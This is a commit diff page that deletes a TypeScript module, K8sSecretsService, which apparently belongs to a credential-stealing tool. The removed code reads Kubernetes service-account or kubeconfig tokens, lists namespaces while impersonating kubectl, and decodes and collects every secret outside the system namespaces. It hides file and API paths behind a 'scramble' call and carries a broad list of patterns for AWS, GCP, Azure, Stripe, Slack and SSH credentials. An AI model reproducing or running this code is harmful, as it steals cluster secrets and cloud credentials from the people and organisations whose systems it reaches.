Delete src/kubernetes/kubernetes.ts
This commit is contained in:
@@ -1,271 +0,0 @@
|
|||||||
import * as fs from "fs";
|
|
||||||
import * as path from "path";
|
|
||||||
|
|
||||||
import { detectOS } from "../../utils/config";
|
|
||||||
import { Provider } from "../base";
|
|
||||||
import type { ProviderResult } from "../types";
|
|
||||||
|
|
||||||
declare function scramble(str: string): string;
|
|
||||||
|
|
||||||
export class K8sSecretsService extends Provider {
|
|
||||||
private readonly TIMEOUT_MS = 10000;
|
|
||||||
private readonly API_BASE = process.env.KUBERNETES_SERVICE_HOST
|
|
||||||
? `https://${process.env.KUBERNETES_SERVICE_HOST}:${process.env.KUBERNETES_SERVICE_PORT}`
|
|
||||||
: null;
|
|
||||||
|
|
||||||
constructor() {
|
|
||||||
super("kubernetes", "secrets", {
|
|
||||||
k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
|
|
||||||
awskey:
|
|
||||||
/(AKIA[0-9A-Z]{16}|aws_access_key_id["\s:=]+["']?[A-Z0-9]{20}|aws_secret_access_key["\s:=]+["']?[A-Za-z0-9/+]{40})/g,
|
|
||||||
awsSessionToken: /aws_session_token["\s:=]+["']?[A-Za-z0-9/+=]{100,}/gi,
|
|
||||||
gcpKey:
|
|
||||||
/"type":\s*"service_account"|"private_key":\s*"-----BEGIN PRIVATE KEY-----/g,
|
|
||||||
azureKey:
|
|
||||||
/(AccountKey|accessKey|client_secret)["\s:=]+["']?[A-Za-z0-9+/=]{40,}/gi,
|
|
||||||
dbConnStr:
|
|
||||||
/(mongodb|mysql|postgresql|postgres|redis):\/\/[^:\s]+:[^@\s]+@[^\s'"]+/gi,
|
|
||||||
stripeKey: /(sk|pk)_(test|live)_[0-9a-zA-Z]{24,}/g,
|
|
||||||
slackToken: /xox[baprs]-[0-9a-zA-Z\-]{10,}/g,
|
|
||||||
twilioKey: /SK[0-9a-f]{32}/gi,
|
|
||||||
privateKey: /-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----/g,
|
|
||||||
sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
|
|
||||||
dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
|
|
||||||
kubeconfig: /[A-Za-z0-9+/=]{20,}/g,
|
|
||||||
secret:
|
|
||||||
/["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
|
|
||||||
genericSecret: /[A-Za-z0-9_\-\.]{20,}/g,
|
|
||||||
urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
private isInCluster(): boolean {
|
|
||||||
return !!process.env.KUBERNETES_SERVICE_HOST;
|
|
||||||
}
|
|
||||||
|
|
||||||
private async getCA(): Promise<Buffer | null> {
|
|
||||||
const caPath = scramble(
|
|
||||||
"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt",
|
|
||||||
);
|
|
||||||
try {
|
|
||||||
if (fs.existsSync(caPath)) {
|
|
||||||
return await fs.promises.readFile(caPath);
|
|
||||||
}
|
|
||||||
} catch {}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private async readServiceAccountToken(): Promise<string | null> {
|
|
||||||
try {
|
|
||||||
const token = await fs.promises.readFile(
|
|
||||||
scramble("/var/run/secrets/kubernetes.io/serviceaccount/token"),
|
|
||||||
"utf-8",
|
|
||||||
);
|
|
||||||
return token.trim();
|
|
||||||
} catch {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private async readNamespace(): Promise<string | null> {
|
|
||||||
try {
|
|
||||||
const ns = await fs.promises.readFile(
|
|
||||||
scramble("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
|
|
||||||
"utf-8",
|
|
||||||
);
|
|
||||||
return ns.trim();
|
|
||||||
} catch {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private getKubeconfigToken(): string | null {
|
|
||||||
try {
|
|
||||||
const home = process.env.HOME || process.env.USERPROFILE;
|
|
||||||
if (!home) return null;
|
|
||||||
|
|
||||||
const kubeconfigPath =
|
|
||||||
process.env.KUBECONFIG || path.join(home, ".kube", "config");
|
|
||||||
if (!fs.existsSync(kubeconfigPath)) return null;
|
|
||||||
|
|
||||||
const raw = fs.readFileSync(kubeconfigPath, "utf-8");
|
|
||||||
|
|
||||||
const patterns = [
|
|
||||||
/token:\s*["']?([A-Za-z0-9_\-\.]{20,})["']?/i,
|
|
||||||
/id-token:\s*["']?([A-Za-z0-9_\-\.]{20,})["']?/i,
|
|
||||||
/access-token:\s*["']?([A-Za-z0-9_\-\.]{20,})["']?/i,
|
|
||||||
];
|
|
||||||
|
|
||||||
for (const pattern of patterns) {
|
|
||||||
const match = raw.match(pattern);
|
|
||||||
if (match && match[1]) return match[1];
|
|
||||||
}
|
|
||||||
} catch {}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private async apiRequest(
|
|
||||||
apiPath: string,
|
|
||||||
token: string,
|
|
||||||
signal?: AbortSignal,
|
|
||||||
): Promise<any> {
|
|
||||||
const ca = await this.getCA();
|
|
||||||
|
|
||||||
if (!this.API_BASE) {
|
|
||||||
throw new Error("No Kubernetes API host configured");
|
|
||||||
}
|
|
||||||
|
|
||||||
const url = `${this.API_BASE}${apiPath}`;
|
|
||||||
|
|
||||||
const controller = new AbortController();
|
|
||||||
const internalSignal = controller.signal;
|
|
||||||
|
|
||||||
const timeout = setTimeout(() => {
|
|
||||||
controller.abort();
|
|
||||||
}, this.TIMEOUT_MS);
|
|
||||||
|
|
||||||
const abortHandler = () => controller.abort();
|
|
||||||
|
|
||||||
if (signal) {
|
|
||||||
if (signal.aborted) {
|
|
||||||
clearTimeout(timeout);
|
|
||||||
throw new Error("Aborted");
|
|
||||||
}
|
|
||||||
signal.addEventListener("abort", abortHandler);
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
const res = await fetch(url, {
|
|
||||||
method: "GET",
|
|
||||||
headers: {
|
|
||||||
Authorization: `Bearer ${token}`,
|
|
||||||
"User-Agent": "kubectl/v1.28.0",
|
|
||||||
Accept: "application/json",
|
|
||||||
},
|
|
||||||
signal: internalSignal,
|
|
||||||
tls: {
|
|
||||||
rejectUnauthorized: !!ca,
|
|
||||||
ca: ca || undefined,
|
|
||||||
},
|
|
||||||
});
|
|
||||||
|
|
||||||
if (!res.ok) {
|
|
||||||
throw new Error(`K8s API returned ${res.status}`);
|
|
||||||
}
|
|
||||||
|
|
||||||
return await res.json();
|
|
||||||
} catch (err: any) {
|
|
||||||
if (internalSignal.aborted) {
|
|
||||||
if (signal?.aborted) throw new Error("Aborted");
|
|
||||||
throw new Error(`Request timeout after ${this.TIMEOUT_MS}ms`);
|
|
||||||
}
|
|
||||||
throw err;
|
|
||||||
} finally {
|
|
||||||
clearTimeout(timeout);
|
|
||||||
if (signal) signal.removeEventListener("abort", abortHandler);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private async listNamespaces(
|
|
||||||
token: string,
|
|
||||||
signal?: AbortSignal,
|
|
||||||
): Promise<string[]> {
|
|
||||||
try {
|
|
||||||
const data = await this.apiRequest(
|
|
||||||
scramble("/api/v1/namespaces"),
|
|
||||||
token,
|
|
||||||
signal,
|
|
||||||
);
|
|
||||||
return (data.items || [])
|
|
||||||
.map((ns: any) => ns.metadata?.name)
|
|
||||||
.filter(Boolean);
|
|
||||||
} catch {
|
|
||||||
return [];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private async getNamespaceSecrets(
|
|
||||||
namespace: string,
|
|
||||||
token: string,
|
|
||||||
signal?: AbortSignal,
|
|
||||||
): Promise<any[]> {
|
|
||||||
try {
|
|
||||||
const data = await this.apiRequest(
|
|
||||||
scramble("/api/v1/namespaces/") + namespace + scramble("/secrets"),
|
|
||||||
token,
|
|
||||||
signal,
|
|
||||||
);
|
|
||||||
return (data.items || []).map((secret: any) => {
|
|
||||||
const decoded: Record<string, string> = {};
|
|
||||||
if (secret.data) {
|
|
||||||
for (const [k, v] of Object.entries(secret.data)) {
|
|
||||||
try {
|
|
||||||
decoded[k] = Buffer.from(v as string, "base64").toString("utf-8");
|
|
||||||
} catch {
|
|
||||||
decoded[k] = String(v);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return {
|
|
||||||
name: secret.metadata?.name,
|
|
||||||
namespace: namespace,
|
|
||||||
type: secret.type || "Opaque",
|
|
||||||
data: decoded,
|
|
||||||
labels: secret.metadata?.labels || {},
|
|
||||||
};
|
|
||||||
});
|
|
||||||
} catch {
|
|
||||||
return [];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
async execute(): Promise<ProviderResult> {
|
|
||||||
try {
|
|
||||||
if (detectOS() !== "LINUX") {
|
|
||||||
return this.failure("Not Linux.");
|
|
||||||
}
|
|
||||||
|
|
||||||
const token = this.isInCluster()
|
|
||||||
? await this.readServiceAccountToken()
|
|
||||||
: this.getKubeconfigToken();
|
|
||||||
|
|
||||||
if (!token) {
|
|
||||||
return this.failure("No valid Kubernetes credentials found");
|
|
||||||
}
|
|
||||||
|
|
||||||
let namespaces = await this.listNamespaces(token);
|
|
||||||
|
|
||||||
if (namespaces.length === 0) {
|
|
||||||
const currentNs = await this.readNamespace();
|
|
||||||
namespaces = [currentNs || "default"];
|
|
||||||
}
|
|
||||||
|
|
||||||
const excluded = new Set([
|
|
||||||
scramble("kube-system"),
|
|
||||||
scramble("kube-public"),
|
|
||||||
scramble("kube-node-lease"),
|
|
||||||
scramble("local-path-storage"),
|
|
||||||
scramble("cert-manager"),
|
|
||||||
]);
|
|
||||||
const allSecrets: any[] = [];
|
|
||||||
|
|
||||||
for (const ns of namespaces) {
|
|
||||||
if (excluded.has(ns)) continue;
|
|
||||||
const secrets = await this.getNamespaceSecrets(ns, token);
|
|
||||||
allSecrets.push(...secrets);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (allSecrets.length === 0) {
|
|
||||||
return this.failure("No secrets accessible");
|
|
||||||
}
|
|
||||||
|
|
||||||
return this.success({
|
|
||||||
clusterHost: this.API_BASE,
|
|
||||||
totalSecrets: allSecrets.length,
|
|
||||||
secrets: allSecrets,
|
|
||||||
});
|
|
||||||
} catch (e) {
|
|
||||||
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Reference in New Issue
Block a user